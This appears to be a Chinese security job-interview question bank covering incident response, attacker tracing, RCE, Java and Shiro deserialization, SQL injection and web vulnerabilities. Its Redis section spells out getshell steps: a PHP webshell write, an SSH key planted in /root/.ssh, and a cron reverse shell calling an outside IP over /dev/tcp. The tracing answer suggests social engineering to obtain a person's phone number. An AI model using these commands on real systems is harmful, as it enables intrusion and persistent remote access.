1.说说你在工作中或者SRC中挖到的比较典型的漏洞?
2.HW中如果已经发现红方IP地址,该如何溯源?
通过蜜罐系统或者安全设备锁定红方MAC,然后通过IP地址对,whois查询到该IP注册人以及注册邮箱,如果是发现邮箱是某厂商注册则可利用社工方式获得其手机号码,通过获得的邮箱、手机号码我们可以使用REG007平台查询当前邮箱或者手机号码注册过的网站,进而对注册过的网站继续进行溯源找到 更多有用信息。
1)针对IP通过威胁情报分析平台进行信息收集+开放端口分析查询
2)获取到真实IP地址后进行定位查询
3)通过得到的ID进行信息收集
3. 说说HVV中该如何做应急响应
1) 首先确定攻击类型,然后定位到被攻击的服务器
2) 登录服务器查看是否存在可疑账号或隐藏账号
3) 查看服务器是否使用弱口令
4) 查看日志是否存在可疑行为
5) 查看是否存在高危端口或者可疑端口,查看是否有可疑进程开放。
6) 查看开机启动项、定时任务
7) 使用杀毒软件进行病毒查杀
4. Linux中挖矿后该如何做应急响应?
挖矿明显的特征是CPU占用率会很高,首先查看是否存在占用率很高的进程,找到该进程物理位置,
5.内网服务器被上传webshell,你是如何做应急响应的?
1) 首先定位到被上传webshell的服务器,登录服务器查看是否是否开放了可疑端口或者有可疑进程, 如果发现可疑进程,找到进程具体位置下载到本地进行分析或者直接丢到沙箱中检测。
2) 查看服务器是否添加了新用户或者隐藏用户,D盾查看隐藏账号、查看注册表中路径
HKEY_LOCAL_MACHINE --SAM–SAM,对照其他服务器中注册表中信息)
3) 检查日志查看是否有可疑行为
4) 查看计划任务或者开机启动项
5) 使用webshell安全工具进行查杀(D盾、安全狗、百度、河马)
6.RCE漏洞
1)、概述
RCE又称远程代码执行漏洞或者远程命令执行漏洞,即就是攻击者输入的字符串被当作代码或者命令被执行;服务器没有对执行命令的函数做严格的过滤,最终导致代码或命令被执行。
远程代码执行、远程命令执行区别:
一个执行脚本代码一个执行系统命令;
2)、常见的命令执行函数
system():能将字符串作为OS命令执行,且返回命令执行结果;
exec():能将字符串作为os命令执行,只返回结果的最后一行(约等于无回显)
shell_exec()
pcntl_exec()
proc_popen()
passthru()
使用system()函数执行Windows系统下的ping命令:
<?php
system("ping www.baidu.com");
?>
结果如图所示:
代码执行函数
eval():将字符串作为php代码执行。
assert():将字符串作为PHP代码执行
preg_replace()
creat_function()
arrar_map()
call_user_func()
call_user_func_array()
array_filter()
uasort()
使用eval()函数执行PHP代码中的phpinfo()函数:
<?php
eval("phpinfo();");
?>
7. 说说java反序列化
序列化和反序列化相当于编码和解码的一个过程,产生漏洞的原因就在于反序列化时unserialize()函数中 传参用户可控,或者使用了某些魔术方法(construct()、wakeup()、__destruct())造成魔术方法用户 可控。用户输入的数据过滤不严格。
一般反序列化需要白盒审计才能发现,黑盒几乎都是用自动化工具进行扫描。
java序列化指将java对象转化成字符串的过程,序列化后的字符串可以保存在文件、数据库中;而java反序列化指把字符串恢复为java对象
序列化和反序列化通过ObjectinputStream.readObject()和ObjectOutputStream.writeObject()方法实现
在java中,任何类如果想要序列化必须实现java.io.serialiable接口,这是一个空接口,java中该接口的唯一作用是对一个类做一个标记,让jre确认这个类是可以序列化的。
java反序列化漏洞依赖两个因素:
1)、应用中是否有反序列化借口
2)、应用中是否包含漏洞的组建
2. Shiro反序列化和反序列化有了解吗?
Apache shiro是一个java安全框架,执行身份验证,授权,密码和会话管理,1.2.4以前的版本存在反序列化漏洞
漏洞原理:
Apache shiro框架提供了一个记住我的功能,这个功能在用户登录成功后,会生成加密后的cookie,其中记住我的RememberMe就是cookie中的key,cookie的值是相关信息经过序列化在进行aes加密,在使用base64编码之后形成。
服务端接受cookie值,也是按照以下步骤解析
1)、检索RememberMe cookie的值
2)、base64解码
3)、使用aes解码(加密密钥硬编码)
4)、进行反序列化操作(未做过滤处理) 在调用反序列时未进行任何过滤,导致出发远程代码执行
漏洞风险:
攻击者使用shiro默认的密钥构造恶意序列化对象进行编码,来伪造用户的cookie,服务器反序列化时出发漏洞,从而执行命令
漏洞复现:
登录的反回报存在"set-cookie: rememberMe=deleteMe;" 。
使用shiro_tools,成功
修复建议:
1、使用最新的shiro
2、确保密钥的安全性,不使用公开的密钥
8. 说说XXE漏洞 xml外部实体化注入
9. Linux中查看进程的命令? Ps top
10. Redis Getshell的几种方法?
redis是一种开源的数据存储系统,可用作数据库,中间件,
1)、redis未授权访问漏洞,会绑定在0.0.0.0:6379,若未采用相关的策略,会将redis服务暴露在公网,且redis默认空密码连接,命令:redis-cli -h ip ,连接成功后,使用ping命令验证,返回PONG则说明Redis服务开启,info:查看各种信息
2)若Redis端口更改,在Linux 操作系统下:使用ps命令查看当前正在运行的进程:ps -ef |grep redis-server,若输出reids一些信息则说明redis服务开启;若在window操作系统下,直接打开任务管理器,查看进程,找redis-server.exe。若存在则说明redis服务开启。
redis写入shell
1)、在通过redis未授权,通过redis连接系统,若存在web服务,知道web服务路径,在该路径下存在增删改查等权限,则通过redis直接写入
原理:redis为了持久化连接,将数据保存至本地,通过写入一句话木马放入web目录下,实现webshell
config set dir /var/www.html/ // 切换到网站目录
config set dbfilename zcc.php // 在磁盘中生成木马文件
set xxx "\n\n\n<?php @eal($_POST['zcc']);?>\n\n\n" //写入恶意代码到内存中,这里的\n\n\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行.
save //将内存中的数据导出到磁盘
2)、redis写入SSH公匙登录
原理:在数据库中插入一条数据,将本级的公匙作为value(键值),key(键名)值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存到文件里,这样就可以在服务端的/root/.shh下生成一个授权的key
利用条件:
1)、redis服务使用root账号启动,拥有root权限
2)、能成功连接redis
3)、服务器开启SSH服务,且允许密钥登录,将密钥等配置信息放在/root/.ssh目录,即可远程写入一个公匙,直接登录远程服务器,攻击机上创建ssh-rsa密钥,也就是生成key,这里密码设置空,其余默认
ssh-keygen -t rsa
config set dir /root/.ssh/
config set dbfilename authorized_keys# set x "\n\n\n公钥\n\n\n",将公钥写入x键。前后用\n换行,避免和Redis里其他缓存数据混合
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCiRdspB+toUvUw1pvmizU3XUk9tEF8Dvu/u2Ro9wOYlFWL+JsEI8IWbnQY8YenPZStJMQGu0onJML+fM475Prd6llv3gOZL45P07Xv03MqVcrU0BrFxmtXd9fr91Sl5kPNME9A2LrfmWszkELGDn+RJPSTGXvB8yKTJ2TjwP2Bn6RbVCtOpX3bkaCFja4MvjxeDat0yYFRw9SOUE1UEU3jsX0jvIjhjDlcOhOtsHgB3rCyN+U6sY8T9IzmFaw7BjufHEpTiErx5NDOW/FjQsEuX2eCX6w3RxCdso1oceVhG+5VbsorEi01ddSEGubK4ZvMB0/kwJu0e1dozaJZOIKxxxx7zhdVjHb0zJQzbqqzwbMe54dsGerQA1BCnLF/axmt13BNZKXgBIcaxtPx7Ik7ekigjn/T6ldlguZXUup+yI8g8nzJEkI6PFNc+UYl+SY1cqpCmPQv2CGP8FcD++VBmxf0hh8AzO4jdbfZZIqpBqqhtVKeHLXMcV7OXCFM= red@sxxc\n\n\n"
save
3)、写入计划任务反弹shell
原理:在数据库中插入一条数据,将计划任务内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务端成功写入一个计划任务成功反弹shell。
set x "\n\n*/1 * * * * bash -i >& /dev/tcp/43.xx.x7/8089 0>&1\n\n" //\n为换行符,此处一定要加\n,这样反弹shell语句与其他乱码语句就会分隔开不在同一行,这样才能成功反弹shell
config setdir /var/spool/cron
config set dbfilename root
save
11. SQL注入的几种类型?
Get注入、Post注入、Cookie注入、HTTP注入、盲注、报错注入、宽字节注入、联合查 询注入、堆叠注入
12. CSRF、XSS 及 XXE和SSRF 有什么区别,以及修复方式?
xSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等 攻击。修复方式:对字符实体进行转义、使用 HTTP Only 来禁 JavaScript 读取 Cookie 值、输 入时校验、浏览器与 Web 应用端采用相同的字符编码。
CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作 执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer。
XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远 程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML 解析库在调用 时严格禁止对外部实体的解析。